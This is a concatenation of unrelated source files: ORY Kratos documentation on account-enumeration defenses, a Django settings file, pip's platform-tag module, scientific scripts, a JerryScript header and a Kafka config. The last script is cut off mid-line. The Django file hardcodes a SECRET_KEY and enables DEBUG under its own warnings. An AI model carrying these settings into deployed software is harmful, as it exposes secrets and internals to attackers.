users and can hurt reputation depending on the\nservice (e.g. "adult content").'),Object(r.b)("p",null,"This attack usually makes only sense if an email address or a phone number is\ncollected during registration. For chosen usernames, this attack is much more\ndifficult, as the attacker has to know what usernames the victim is using."),Object(r.b)("p",null,"There are three common ways an attacker can figure out if a user is signed up at\na service:"),Object(r.b)("ul",null,Object(r.b)("li",{parentName:"ul"},'During login: "No user with this email address was found"'),Object(r.b)("li",{parentName:"ul"},'During registration: "A user with this email address exists already"'),Object(r.b)("li",{parentName:"ul"},'During password reset: "No user with this email address was found"')),Object(r.b)("p",null,"To mitigate this attack, the following strategies need to be deployed:"),Object(r.b)("ul",null,Object(r.b)("li",{parentName:"ul"},'The login form should return the same message regardless of whether the\npassword is wrong or the email/username does not exist: "The provided\ncredentials are invalid."'),Object(r.b)("li",{parentName:"ul"},"The password reset form should always return a success message and send out an\nemail. If the email address is registered, a normal password reset email is\nsent. If the email address is not registered, an email is sent to the address\nindicating that no account is set up with that email address. This is helpful\nto users that have multiple email addresses and are using the wrong email\naddress for the password reset."),Object(r.b)("li",{parentName:"ul"},'The registration form should also always return a success message and send out\nan email. If the email address is not yet registered, a regular "account\nactivation" email is sent out. If the email address is registered already, a\nemail is sent out telling the user that the account is already set up, and\nlink to the login screen.')),Object(r.b)("p",null,"If you wish to mitigate account enumeration attacks, it is important to note\nthat you can not sign in users directly after sign up! Depending on the type of\nservice you provide, you might not care about this specific attack in which case\ndirect login after sign up would be ok."),Object(r.b)("h4",{id:"enabling-account-enumeration-defenses"},"Enabling Account Enumeration Defenses"),Object(r.b)("p",null,"Assuming you wish to enable account enumeration defenses, you need to configure\nORY Kratos as follows:"),Object(r.b)("ul",null,Object(r.b)("li",{parentName:"ul"},"Collect one or more email addresses during sign up and enable email\nverification."),Object(r.b)("li",{parentName:"ul"},Object(r.b)("strong",{parentName:"li"},"Do not")," enable the ",Object(r.b)("inlineCode",{parentName:"li"},"session")," post-registration workflow. Use only the\n",Object(r.b)("inlineCode",{parentName:"li"},"redirect")," post-registration workflow.")),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-yaml"}),'selfservice:\n registration:\n after:\n password:\n # !! DO NOT enable `session` or all registration processes will fail!!\n # - run: session\n\n # You **must** enable identifier verification or no email will be sent and the registration is thus just a blank\n # entry in the database with no way of logging in.\n - run: verify\n\n # You **must** enable redirection. The page should show a message such as: "Registration complete, please\n # check your email for further steps". The user will be redirected to this page regardless of the registration\n # status (success, invalid).\n - run: redirect\n config:\n default_redirect_url: http://test.kratos.ory.sh:4000/registration_next_steps\n')),Object(r.b)("h4",{id:"disable-account-enumeration-defenses"},"Disable Account Enumeration Defenses"),Object(r.b)("p",null,"Enforcing email verification, which requires an email round trip and disrupts\nthe sign up process, is not always feasible. In these cases, you might want to\ndisable account enumeration defenses."),Object(r.b)("p",null,"You can disable the defense mechanism on a per-field basis in your Identity\nTraits Schema:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-yaml"}),"{\n '$id': 'https://example.com/registration.schema.json',\n '$schema': 'http://json-schema.org/draft-07/schema#',\n 'title': 'Person',\n 'type': 'object',\n 'properties':\n {\n 'username':\n {\n 'type': 'string',\n 'ory.sh/kratos':\n {\n 'credentials':\n {\n 'password':\n {\n 'identifier': true,\n 'disable_account_enumeration_defenses': true,\n },\n },\n },\n },\n },\n}\n")),Object(r.b)("p",null,'This will tell ORY Kratos to display messages such as "a user with this email\naddress exists already" and "no user with this email address is registered on\nthis site". You can then enable the ',Object(r.b)("inlineCode",{parentName:"p"},"session")," post-registration workflow:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-yaml"}),"selfservice:\n registration:\n after:\n password:\n - run: session\n\n # You can optionally enable verification of the provided email address(es) or phone number(s)\n # - run: verify\n\n # You may now directly redirect to e.g. the dashboard:\n - run: redirect\n config:\n default_redirect_url: http://test.kratos.ory.sh:4000/dashboard\n")))}d.isMDXComponent=!0},330:function(e,n,t){"use strict";t.d(n,"a",(function(){return u})),t.d(n,"b",(function(){return m}));var a=t(0),s=t.n(a);function r(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function i(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);n&&(a=a.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,a)}return t}function o(e){for(var n=1;n<arguments.length;n++){var t=null!=arguments[n]?arguments[n]:{};n%2?i(Object(t),!0).forEach((function(n){r(e,n,t[n])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):i(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))}))}return e}function l(e,n){if(null==e)return{};var t,a,s=function(e,n){if(null==e)return{};var t,a,s={},r=Object.keys(e);for(a=0;a<r.length;a++)t=r[a],n.indexOf(t)>=0||(s[t]=e[t]);return s}(e,n);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(a=0;a<r.length;a++)t=r[a],n.indexOf(t)>=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(s[t]=e[t])}return s}var c=s.a.createContext({}),d=function(e){var n=s.a.useContext(c),t=n;return e&&(t="function"==typeof e?e(n):o(o({},n),e)),t},u=function(e){var n=d(e.components);return s.a.createElement(c.Provider,{value:n},e.children)},b={inlineCode:"code",wrapper:function(e){var n=e.children;return s.a.createElement(s.a.Fragment,{},n)}},p=s.a.forwardRef((function(e,n){var t=e.components,a=e.mdxType,r=e.originalType,i=e.parentName,c=l(e,["components","mdxType","originalType","parentName"]),u=d(t),p=a,m=u["".concat(i,".").concat(p)]||u[p]||b[p]||r;return t?s.a.createElement(m,o(o({ref:n},c),{},{components:t})):s.a.createElement(m,o({ref:n},c))}));function m(e,n){var t=arguments,a=n&&n.mdxType;if("string"==typeof e||a){var r=t.length,i=new Array(r);i[0]=p;var o={};for(var l in n)hasOwnProperty.call(n,l)&&(o[l]=n[l]);o.originalType=e,o.mdxType="string"==typeof e?e:a,i[1]=o;for(var c=2;c<r;c++)i[c]=t[c];return s.a.createElement.apply(null,i)}return s.a.createElement.apply(null,t)}p.displayName="MDXCreateElement"}}]);
""" Django settings for app project. Generated by 'django-admin startproject' using Django 2.1.15. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'x(@8hrsrp@6ysfnx#n6_e4f=n05c^m#bdm2l3=lcw8hj7&2ouq' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'core' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'app.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'app.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_URL = '/static/' AUTH_USER_MODEL = 'core.User'
import argparse import sys from pathlib import Path import joblib import numpy as np from sklearn.preprocessing import MinMaxScaler, StandardScaler def get_parser(): parser = argparse.ArgumentParser(description="joblib scaler to npy files") parser.add_argument("input_file", type=str, help="input file") parser.add_argument("out_dir", type=str, help="out directory") return parser if __name__ == "__main__": args = get_parser().parse_args(sys.argv[1:]) input_file = Path(args.input_file) scaler = joblib.load(input_file) out_dir = Path(args.out_dir) out_dir.mkdir(parents=True, exist_ok=True) if isinstance(scaler, StandardScaler): print(f"Converting {input_file} mean/scale npy files") mean_path = out_dir / (input_file.stem + "_mean.npy") scale_path = out_dir / (input_file.stem + "_scale.npy") var_path = out_dir / (input_file.stem + "_var.npy") np.save(mean_path, scaler.mean_, allow_pickle=False) np.save(scale_path, scaler.scale_, allow_pickle=False) np.save(var_path, scaler.var_, allow_pickle=False) elif isinstance(scaler, MinMaxScaler): print(f"Converting {input_file} min/max npy files") min_path = out_dir / (input_file.stem + "_min.npy") scale_path = out_dir / (input_file.stem + "_scale.npy") np.save(min_path, scaler.min_, allow_pickle=False) np.save(scale_path, scaler.scale_, allow_pickle=False) else: raise ValueError(f"Unknown scaler type: {type(scaler)}")
"""Generate and work with PEP 425 Compatibility Tags.""" import distutils.util import logging import platform import re import sys import sysconfig import warnings from collections import OrderedDict import pip._internal.utils.glibc from pip._internal.utils.compat import get_extension_suffixes from pip._internal.utils.typing import MYPY_CHECK_RUNNING if MYPY_CHECK_RUNNING: from typing import ( Tuple, Callable, List, Optional, Union, Dict ) Pep425Tag = Tuple[str, str, str] logger = logging.getLogger(__name__) _osx_arch_pat = re.compile(r'(.+)_(\d+)_(\d+)_(.+)') def get_config_var(var): # type: (str) -> Optional[str] try: return sysconfig.get_config_var(var) except IOError as e: # Issue #1074 warnings.warn("{}".format(e), RuntimeWarning) return None def get_abbr_impl(): # type: () -> str """Return abbreviated implementation name.""" if hasattr(sys, 'pypy_version_info'): pyimpl = 'pp' elif sys.platform.startswith('java'): pyimpl = 'jy' elif sys.platform == 'cli': pyimpl = 'ip' else: pyimpl = 'cp' return pyimpl def version_info_to_nodot(version_info): # type: (Tuple[int, ...]) -> str # Only use up to the first two numbers. return ''.join(map(str, version_info[:2])) def get_impl_ver(): # type: () -> str """Return implementation version.""" impl_ver = get_config_var("py_version_nodot") if not impl_ver or get_abbr_impl() == 'pp': impl_ver = ''.join(map(str, get_impl_version_info())) return impl_ver def get_impl_version_info(): # type: () -> Tuple[int, ...] """Return sys.version_info-like tuple for use in decrementing the minor version.""" if get_abbr_impl() == 'pp': # as per https://github.com/pypa/pip/issues/2882 # attrs exist only on pypy return (sys.version_info[0], sys.pypy_version_info.major, # type: ignore sys.pypy_version_info.minor) # type: ignore else: return sys.version_info[0], sys.version_info[1] def get_impl_tag(): # type: () -> str """ Returns the Tag for this specific implementation. """ return "{}{}".format(get_abbr_impl(), get_impl_ver()) def get_flag(var, fallback, expected=True, warn=True): # type: (str, Callable[..., bool], Union[bool, int], bool) -> bool """Use a fallback method for determining SOABI flags if the needed config var is unset or unavailable.""" val = get_config_var(var) if val is None: if warn: logger.debug("Config variable '%s' is unset, Python ABI tag may " "be incorrect", var) return fallback() return val == expected def get_abi_tag(): # type: () -> Optional[str] """Return the ABI tag based on SOABI (if available) or emulate SOABI (CPython 2, PyPy).""" soabi = get_config_var('SOABI') impl = get_abbr_impl() if not soabi and impl in {'cp', 'pp'} and hasattr(sys, 'maxunicode'): d = '' m = '' u = '' is_cpython = (impl == 'cp') if get_flag( 'Py_DEBUG', lambda: hasattr(sys, 'gettotalrefcount'), warn=is_cpython): d = 'd' if sys.version_info < (3, 8) and get_flag( 'WITH_PYMALLOC', lambda: is_cpython, warn=is_cpython): m = 'm' if sys.version_info < (3, 3) and get_flag( 'Py_UNICODE_SIZE', lambda: sys.maxunicode == 0x10ffff, expected=4, warn=is_cpython): u = 'u' abi = '%s%s%s%s%s' % (impl, get_impl_ver(), d, m, u) elif soabi and soabi.startswith('cpython-'): abi = 'cp' + soabi.split('-')[1] elif soabi: abi = soabi.replace('.', '_').replace('-', '_') else: abi = None return abi def _is_running_32bit(): # type: () -> bool return sys.maxsize == 2147483647 def get_platform(): # type: () -> str """Return our platform name 'win32', 'linux_x86_64'""" if sys.platform == 'darwin': # distutils.util.get_platform() returns the release based on the value # of MACOSX_DEPLOYMENT_TARGET on which Python was built, which may # be significantly older than the user's current machine. release, _, machine = platform.mac_ver() split_ver = release.split('.') if machine == "x86_64" and _is_running_32bit(): machine = "i386" elif machine == "ppc64" and _is_running_32bit(): machine = "ppc" return 'macosx_{}_{}_{}'.format(split_ver[0], split_ver[1], machine) # XXX remove distutils dependency result = distutils.util.get_platform().replace('.', '_').replace('-', '_') if result == "linux_x86_64" and _is_running_32bit(): # 32 bit Python program (running on a 64 bit Linux): pip should only # install and run 32 bit compiled extensions in that case. result = "linux_i686" return result def is_manylinux1_compatible(): # type: () -> bool # Only Linux, and only x86-64 / i686 if get_platform() not in {"linux_x86_64", "linux_i686"}: return False # Check for presence of _manylinux module try: import _manylinux return bool(_manylinux.manylinux1_compatible) except (ImportError, AttributeError): # Fall through to heuristic check below pass # Check glibc version. CentOS 5 uses glibc 2.5. return pip._internal.utils.glibc.have_compatible_glibc(2, 5) def is_manylinux2010_compatible(): # type: () -> bool # Only Linux, and only x86-64 / i686 if get_platform() not in {"linux_x86_64", "linux_i686"}: return False # Check for presence of _manylinux module try: import _manylinux return bool(_manylinux.manylinux2010_compatible) except (ImportError, AttributeError): # Fall through to heuristic check below pass # Check glibc version. CentOS 6 uses glibc 2.12. return pip._internal.utils.glibc.have_compatible_glibc(2, 12) def get_darwin_arches(major, minor, machine): # type: (int, int, str) -> List[str] """Return a list of supported arches (including group arches) for the given major, minor and machine architecture of an macOS machine. """ arches = [] def _supports_arch(major, minor, arch): # type: (int, int, str) -> bool # Looking at the application support for macOS versions in the chart # provided by https://en.wikipedia.org/wiki/OS_X#Versions it appears # our timeline looks roughly like: # # 10.0 - Introduces ppc support. # 10.4 - Introduces ppc64, i386, and x86_64 support, however the ppc64 # and x86_64 support is CLI only, and cannot be used for GUI # applications. # 10.5 - Extends ppc64 and x86_64 support to cover GUI applications. # 10.6 - Drops support for ppc64 # 10.7 - Drops support for ppc # # Given that we do not know if we're installing a CLI or a GUI # application, we must be conservative and assume it might be a GUI # application and behave as if ppc64 and x86_64 support did not occur # until 10.5. # # Note: The above information is taken from the "Application support" # column in the chart not the "Processor support" since I believe # that we care about what instruction sets an application can use # not which processors the OS supports. if arch == 'ppc': return (major, minor) <= (10, 5) if arch == 'ppc64': return (major, minor) == (10, 5) if arch == 'i386': return (major, minor) >= (10, 4) if arch == 'x86_64': return (major, minor) >= (10, 5) if arch in groups: for garch in groups[arch]: if _supports_arch(major, minor, garch): return True return False groups = OrderedDict([ ("fat", ("i386", "ppc")), ("intel", ("x86_64", "i386")), ("fat64", ("x86_64", "ppc64")), ("fat32", ("x86_64", "i386", "ppc")), ]) # type: Dict[str, Tuple[str, ...]] if _supports_arch(major, minor, machine): arches.append(machine) for garch in groups: if machine in groups[garch] and _supports_arch(major, minor, garch): arches.append(garch) arches.append('universal') return arches def get_all_minor_versions_as_strings(version_info): # type: (Tuple[int, ...]) -> List[str] versions = [] major = version_info[:-1] # Support all previous minor Python versions. for minor in range(version_info[-1], -1, -1): versions.append(''.join(map(str, major + (minor,)))) return versions def get_supported( versions=None, # type: Optional[List[str]] noarch=False, # type: bool platform=None, # type: Optional[str] impl=None, # type: Optional[str] abi=None # type: Optional[str] ): # type: (...) -> List[Pep425Tag] """Return a list of supported tags for each version specified in `versions`. :param versions: a list of string versions, of the form ["33", "32"], or None. The first version will be assumed to support our ABI. :param platform: specify the exact platform you want valid tags for, or None. If None, use the local system platform. :param impl: specify the exact implementation you want valid tags for, or None. If None, use the local interpreter impl. :param abi: specify the exact abi you want valid tags for, or None. If None, use the local interpreter abi. """ supported = [] # Versions must be given with respect to the preference if versions is None: version_info = get_impl_version_info() versions = get_all_minor_versions_as_strings(version_info) impl = impl or get_abbr_impl() abis = [] # type: List[str] abi = abi or get_abi_tag() if abi: abis[0:0] = [abi] abi3s = set() for suffix in get_extension_suffixes(): if suffix.startswith('.abi'): abi3s.add(suffix.split('.', 2)[1]) abis.extend(sorted(list(abi3s))) abis.append('none') if not noarch: arch = platform or get_platform() arch_prefix, arch_sep, arch_suffix = arch.partition('_') if arch.startswith('macosx'): # support macosx-10.6-intel on macosx-10.9-x86_64 match = _osx_arch_pat.match(arch) if match: name, major, minor, actual_arch = match.groups() tpl = '{}_{}_%i_%s'.format(name, major) arches = [] for m in reversed(list(range(int(minor) + 1))): for a in get_darwin_arches(int(major), m, actual_arch): arches.append(tpl % (m, a)) else: # arch pattern didn't match (?!) arches = [arch] elif arch_prefix == 'manylinux2010': # manylinux1 wheels run on most manylinux2010 systems with the # exception of wheels depending on ncurses. PEP 571 states # manylinux1 wheels should be considered manylinux2010 wheels: # https://www.python.org/dev/peps/pep-0571/#backwards-compatibility-with-manylinux1-wheels arches = [arch, 'manylinux1' + arch_sep + arch_suffix] elif platform is None: arches = [] if is_manylinux2010_compatible(): arches.append('manylinux2010' + arch_sep + arch_suffix) if is_manylinux1_compatible(): arches.append('manylinux1' + arch_sep + arch_suffix) arches.append(arch) else: arches = [arch] # Current version, current API (built specifically for our Python): for abi in abis: for arch in arches: supported.append(('%s%s' % (impl, versions[0]), abi, arch)) # abi3 modules compatible with older version of Python for version in versions[1:]: # abi3 was introduced in Python 3.2 if version in {'31', '30'}: break for abi in abi3s: # empty set if not Python 3 for arch in arches: supported.append(("%s%s" % (impl, version), abi, arch)) # Has binaries, does not use the Python API: for arch in arches: supported.append(('py%s' % (versions[0][0]), 'none', arch)) # No abi / arch, but requires our implementation: supported.append(('%s%s' % (impl, versions[0]), 'none', 'any')) # Tagged specifically as being cross-version compatible # (with just the major version specified) supported.append(('%s%s' % (impl, versions[0][0]), 'none', 'any')) # No abi / arch, generic Python for i, version in enumerate(versions): supported.append(('py%s' % (version,), 'none', 'any')) if i == 0: supported.append(('py%s' % (version[0]), 'none', 'any')) return supported implementation_tag = get_impl_tag()
import numpy from .AssemblyFlaw import AssemblyFlaw class Assembly: """Base class to represent assemblies. See GibsonAssembly, BASICAssembly, etc. for usage classes Parameters ---------- parts List of part names corresponding to part records in a repository name Name of the assembly as it will appear in reports. max_constructs None or a number of maximum assemblies to compute (avoids complete freeze for combinatorial assemblies with extremely many possibilities). expected_constructs Either a number or a string ``'any_number'``. If the number of constructs doesn't match this value, the assembly will be considered invalid in reports and summaries connectors_collection Name of a collection in the repository from which to get candidates for connector autocompletion. dependencies (do not use). Metadata indicating which assemblies depend on this assembly, or are depended on by it. """ spreadsheet_import_parameters = () def __init__( self, parts, name="unnamed_assembly", max_constructs=40, dependencies=None, expected_constructs=1, connectors_collection=None, ): self.name = name self.parts = parts self.max_constructs = max_constructs if dependencies is None: dependencies = dict(level=1, depends_on=[], used_in=[]) self.dependencies = dependencies self.expected_constructs = expected_constructs self.connectors_collection = connectors_collection def get_extra_construct_data(self): return dict() @staticmethod def _row_nonempty_cells(row): empty_cells_contain = ["-", "nan", "None", "_", ""] return [str(e) for e in row if str(e) not in empty_cells_contain] @classmethod def from_dataframe_row(cls, row): """This class indicates how a particular assembly can be built from a spreadsheet row""" line = cls._row_nonempty_cells(row) assembly_name = line[0] parts, parameters = [], dict() for cell in line[1:]: for param in cls.spreadsheet_import_parameters: prefix = param + ": " if cell.startswith(prefix): parameters[param] = format_string(cell[len(prefix) :]) break else: parts.append(cell) return cls(name=assembly_name, parts=parts, **parameters) def attribute_ids_to_constructs(self, construct_records): """Defines how constructs are named, in particular in the context of combinatorial assemblies.""" n_records = len(construct_records) if n_records == 0: return if n_records == 1: construct_records[0].id = self.name else: digits = int(numpy.ceil(numpy.log10(n_records - 1))) for i, record in enumerate(construct_records): record.id = "{name}_{num:0{digits}}".format( num=i + 1, digits=digits, name=self.name ) def _get_connectors_records(self, sequence_repository): """Gets connectors records from a sequence repository""" collection = self.connectors_collection if collection is None: return [] else: return list(sequence_repository.collections[collection].values()) def _detect_constructs_number_error(self, found, flaws_list): """Add a new flaw to the list if unexpected constructs_number""" expected = self.expected_constructs if (expected != 'any_number') and (expected != found): flaw = AssemblyFlaw( assembly=self, message="Wrong number of constructs", suggestion="Check assembly or parts design", data={"expected_": expected, "found": found}, ) flaws_list.append(flaw) def _detect_max_constructs_reached(self, found, flaws_list): """Add a new flaw to the list if max constructs is reached""" max_allowed = self.max_constructs if (max_allowed is not None) and (max_allowed <= found): message = "Max construct number reached, there may be been more!" flaw = AssemblyFlaw( assembly=self, message=message, suggestion="Check assembly or parts design", data={"max": max_allowed, "found": found}, ) flaws_list.append(flaw) def format_string(value): """Formatting utility to parse spreadsheet cell values""" if value.lower() == "false": return False if value.lower() == "true": return True try: value = float(value) if int(value) == value: value = int(value) except ValueError: pass return value
/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef COMMON_H #define COMMON_H #include <stdio.h> #include <stdlib.h> #include <string.h> #include <inttypes.h> #include <setjmp.h> /** \addtogroup parser Parser * @{ * * \addtogroup jsparser JavaScript * @{ * * \addtogroup jsparser_utils Utility * @{ */ #include "config.h" #include "ecma-globals.h" #include "ecma-regexp-object.h" #include "jmem.h" /* Immediate management. */ /** * Literal types. * * The LEXER_UNUSED_LITERAL type is internal and * used for various purposes. */ typedef enum { /* The LEXER_IS_IDENT_OR_STRING macro must be updated if the order is changed. */ LEXER_IDENT_LITERAL = 0, /**< identifier literal */ LEXER_STRING_LITERAL = 1, /**< string literal */ LEXER_NUMBER_LITERAL = 2, /**< number literal */ LEXER_FUNCTION_LITERAL = 3, /**< function literal */ LEXER_REGEXP_LITERAL = 4, /**< regexp literal */ LEXER_UNUSED_LITERAL = 5, /**< unused literal, can only be used by the byte code generator. */ LEXER_NEW_IDENT_LITERAL = 6, /**< new local variable, can only be used by the byte code generator. */ } lexer_literal_type_t; /** * Checks whether the literal type is identifier or string. */ #define LEXER_IS_IDENT_OR_STRING(literal_type) ((literal_type) <= LEXER_STRING_LITERAL) /** * Flag bits for status_flags member of lexer_literal_t. */ typedef enum { LEXER_FLAG_USED = (1 << 0), /**< this local identifier needs to be stored in the constant pool */ LEXER_FLAG_FUNCTION_ARGUMENT = (1 << 1), /**< this local identifier is a function argument */ LEXER_FLAG_SOURCE_PTR = (1 << 2), /**< the literal is directly referenced in the source code * (no need to allocate memory) */ LEXER_FLAG_LATE_INIT = (1 << 3), /**< initialize this variable after the byte code is freed */ } lexer_literal_status_flags_t; /** * Type of property length. */ #if ENABLED (JERRY_CPOINTER_32_BIT) typedef uint32_t prop_length_t; #else /* !ENABLED (JERRY_CPOINTER_32_BIT) */ typedef uint16_t prop_length_t; #endif /* ENABLED (JERRY_CPOINTER_32_BIT) */ /** * Literal data. */ typedef struct { union { ecma_value_t value; /**< literal value (not processed by the parser) */ const uint8_t *char_p; /**< character value */ ecma_compiled_code_t *bytecode_p; /**< compiled function or regexp pointer */ uint32_t source_data; /**< encoded source literal */ } u; #if ENABLED (JERRY_PARSER_DUMP_BYTE_CODE) struct #else /* !ENABLED (JERRY_PARSER_DUMP_BYTE_CODE) */ union #endif /* ENABLED (JERRY_PARSER_DUMP_BYTE_CODE) */ { prop_length_t length; /**< length of ident / string literal */ uint16_t index; /**< real index during post processing */ } prop; uint8_t type; /**< type of the literal */ uint8_t status_flags; /**< status flags */ } lexer_literal_t; void util_free_literal (lexer_literal_t *literal_p); #if ENABLED (JERRY_PARSER_DUMP_BYTE_CODE) void util_print_literal (lexer_literal_t *); #endif /* ENABLED (JERRY_PARSER_DUMP_BYTE_CODE) */ /* TRY/CATCH block */ #define PARSER_TRY_CONTEXT(context_name) \ jmp_buf context_name #define PARSER_THROW(context_name) \ longjmp (context_name, 1); #define PARSER_TRY(context_name) \ { \ if (!setjmp (context_name)) \ { \ #define PARSER_CATCH \ } \ else \ { #define PARSER_TRY_END \ } \ } /** * @} * @} * @} */ #endif /* !COMMON_H */
import os KAFKA_BROKERS = os.getenv('KAFKA_BROKERS','localhost:9092') KAFKA_CERT_PATH = os.getenv('KAFKA_CERT_PATH','') KAFKA_USER = os.getenv('KAFKA_USER','') KAFKA_PASSWORD = os.getenv('KAFKA_PASSWORD','') KAFKA_SASL_MECHANISM= os.getenv('KAFKA_SASL_MECHANISM','SCRAM-SHA-512')
import logging import os import time from bubble import Atom, Box, Trajectory from bubble import read_stress, build_box, write_density, write_ratio, write_pressure from bubble import bubble_ratio, shell_ratio, bubble_pressure, shell_pressure from bubble import bubble_density, shell_density, xyz_density import plotly import plotly.graph_objs as go import settings logging.basicConfig(level=logging.INFO) def radius_analysis( settings ): ''' Calculate the radius as a function of frame ''' for pdb_name, xtc_name in zip( settings.PDB_NAMES, settings.XTC_NAMES ): pdb_path = os.path.join( settings.TRAJECTORY_PATH, pdb_name ) xtc_path = os.path.join( settings.TRAJECTORY_PATH, xtc_name ) pdb_base = ''.join( pdb_path.split( '.' )[:-1] ) traj = Trajectory( pdb_path, xtc_path ) n_frames = traj.n_frames rs = traj.radius_for_frames( 0, n_frames, settings.RADIUS_DN ) # Write output file rs_output = pdb_base + '_radius' with open(rs_output + '.txt', 'w') as rsout: for frame, radius in rs: rsout.write( '{} {}'.format(frame, radius) ) traj.plot_radius(rs, notebook=settings.DO_RADIUS_IN_NOTEBOOK) def shell_analysis(box, timestep, base_path, settings): ''' Do analysis in shells, i.e. divide the bubble into shell slices and do analysis in each shell. 1. Shell atom ratio 2. Shell atom pressure 3. Shell density ''' # Shell ratio if settings.SHELL_ATOM_RATIO_STATS_ELEMENTS: shell_ratio_out = 'shell_ratio_{time}_{ele}.out' shell_ratio_out = os.path.join(base_path, 'results', shell_ratio_out) shell_ratio_header = '\t'.join( ['r_low', 'r_high', 'ratio\n'] ) shell_ratio(box, elements = settings.SHELL_ATOM_RATIO_STATS_ELEMENTS, out_fmt = shell_ratio_out, header = shell_ratio_header, dr = settings.DR, time = timestep, container = settings.NAMES_CONTAINER, debug = settings.DEBUG) # Shell pressure if settings.SHELL_PRESSURE_STATS_ELEMENTS: shell_pressure_out = 'shell_pressure_{time}_{ele}.out' shell_pressure_out = os.path.join(base_path, 'results', shell_pressure_out) shell_pressure_header = '\t'.join( ['r_low', 'r_high', 'pressure\n'] ) shell_pressure(box, elements = settings.SHELL_PRESSURE_STATS_ELEMENTS, out_fmt = shell_pressure_out, header = shell_pressure_header, dr = settings.SHELL_PRESSURE_DR, time = timestep, container = settings.NAMES_CONTAINER, normal = settings.NORMAL, debug = settings.DEBUG) # Shell density if settings.SHELL_DENSITY_STATS_ELEMENTS: shell_density_out = 'shell_density_{time}_{ele}.out' shell_density_out = os.path.join(base_path, 'results', shell_density_out) shell_density_header = '\t'.join( ['r_low', 'r_high', 'density\n'] ) shell_density(box, elements = settings.SHELL_DENSITY_STATS_ELEMENTS, mole = 1, out_fmt = shell_density_out, header = shell_density_header, dr = settings.DENSITY_DR, time = timestep, container = settings.NAMES_CONTAINER, debug = settings.DEBUG) def bubble_analysis(box, timestep, base_path, settings): ''' Do analysis in bubble, i.e. do analysis for atoms whose distance to bubble center <= R_i for each i. 1. Bubble atom ratio 2. Bubble pressure 3. Bubble density ''' # Bubble ratio if settings.BUBBLE_ATOM_RATIO_STATS_ELEMENTS: bubble_ratio_out = 'bubble_ratio_{time}_{ele}.out' bubble_ratio_out = os.path.join(base_path, 'results', bubble_ratio_out) bubble_ratio_header = '\t'.join( [ 'r_low', 'r_high', 'ratio\n' ] ) bubble_ratio( box, elements = settings.BUBBLE_ATOM_RATIO_STATS_ELEMENTS, out_fmt = bubble_ratio_out, header = bubble_ratio_header, dr = settings.DR, time = timestep, container = settings.NAMES_CONTAINER, debug = settings.DEBUG ) # Bubble pressure if settings.BUBBLE_PRESSURE_STATS_ELEMENTS: bubble_pressure_out = 'bubble_pressure_{time}_{ele}.out' bubble_pressure_out = os.path.join(base_path, 'results', bubble_pressure_out) bubble_pressure_header = '\t'.join(['r_low', 'r_high', 'pressure_in', 'pressure_out\n']) bubble_pressure(box, elements = settings.BUBBLE_PRESSURE_STATS_ELEMENTS, out_fmt = bubble_pressure_out, header = bubble_pressure_header, dr = settings.DR, time = timestep, container = settings.NAMES_CONTAINER, debug = settings.DEBUG) # Bubble density if settings.BUBBLE_DENSITY_STATS_ELEMENTS: bubble_density_out = 